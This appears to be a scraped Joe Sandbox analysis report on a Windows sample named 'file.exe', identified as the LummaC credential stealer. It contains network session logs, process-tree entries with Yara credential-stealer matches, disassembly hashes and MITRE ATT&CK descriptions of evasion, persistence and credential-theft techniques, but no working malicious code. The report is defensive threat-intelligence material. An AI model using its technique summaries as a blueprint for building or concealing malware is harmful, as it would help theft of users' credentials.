2024-11-25 11:08:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: ad980b0f-801e-0083-20fe-3df0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110821Z-178bfbc474bp8mkvhC1NYCzqnn00000007a00000000016qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:20 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:21 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 90e1d0f5-d01e-0065-4fbf-3eb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110821Z-178bfbc474bbbqrhhC1NYCvw7400000007h00000000063fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:21 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:20 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:21 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: f666aca1-b01e-0097-79bf-3e4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110821Z-178bfbc474bh5zbqhC1NYCkdug000000079g000000007a53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:21 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Target ID:	0
Start time:	06:06:54
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3d0000
File size:	1'875'968 bytes
MD5 hash:	91ED86397A1D20FC8C1057985C13ABC5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2171438141.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2171392707.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:07:31
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:07:32
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2184,i,11451357721040655892,3136664989347756057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:07:34
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:07:35
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,4349229689837919820,14898632998453722938,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00EB60FC Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

a[QF, xrefs: 00EB628B

Memory Dump Source

Source File: 00000000.00000003.2337463992.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, Offset: 00EB3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_eb3000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: 5a9b01ea0f7a7e360027f7ab9b8fafc2e5da40ea4e04eb746ca91ce1203525b1
Instruction ID: 7e21eeb13f9d9548737c08ddbac461d9cb65f6810ccdfb124bf7ab8b89547aaf
Opcode Fuzzy Hash: 5a9b01ea0f7a7e360027f7ab9b8fafc2e5da40ea4e04eb746ca91ce1203525b1
Instruction Fuzzy Hash: 1E51FC3200A2E29FC703CB79D9925D6BFA1FE8331471840DED8C15F527C224AA26CBD6

Function 00EB613C Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

a[QF, xrefs: 00EB628B

Memory Dump Source

Source File: 00000000.00000003.2337463992.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, Offset: 00EB3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_eb3000_file.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: 95ecf7e7229bd007d59c13d6e253471013845f661b874ad6d397b8ca3a5db418
Instruction ID: c4271cd829202d909cfd47d591e3797686a166e9e23d0b42d86bccceed13991e
Opcode Fuzzy Hash: 95ecf7e7229bd007d59c13d6e253471013845f661b874ad6d397b8ca3a5db418
Instruction Fuzzy Hash: 2151EF3240A2E19FD703CF79D9925D6BF65FE43314B2885DDD4C05F426C224B626CB9A

Function 00EB5F0D Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2337463992.0000000000EB3000.00000004.00000020.00020000.00000000.sdmp, Offset: 00EB3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_eb3000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44546a904696ddbfe6baa3762e9622b028d59a7fd9006ff42dc019c14928264
Instruction ID: 46ce66d76b913a1afa84aeb506177ff0288cafbca1d7e12ae56b2b14dbeed659
Opcode Fuzzy Hash: d44546a904696ddbfe6baa3762e9622b028d59a7fd9006ff42dc019c14928264
Instruction Fuzzy Hash: CE81316194E7D28FC3139B748C699927FB5AE1722430E45EBD4C1CF0A3E269490ACB63

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre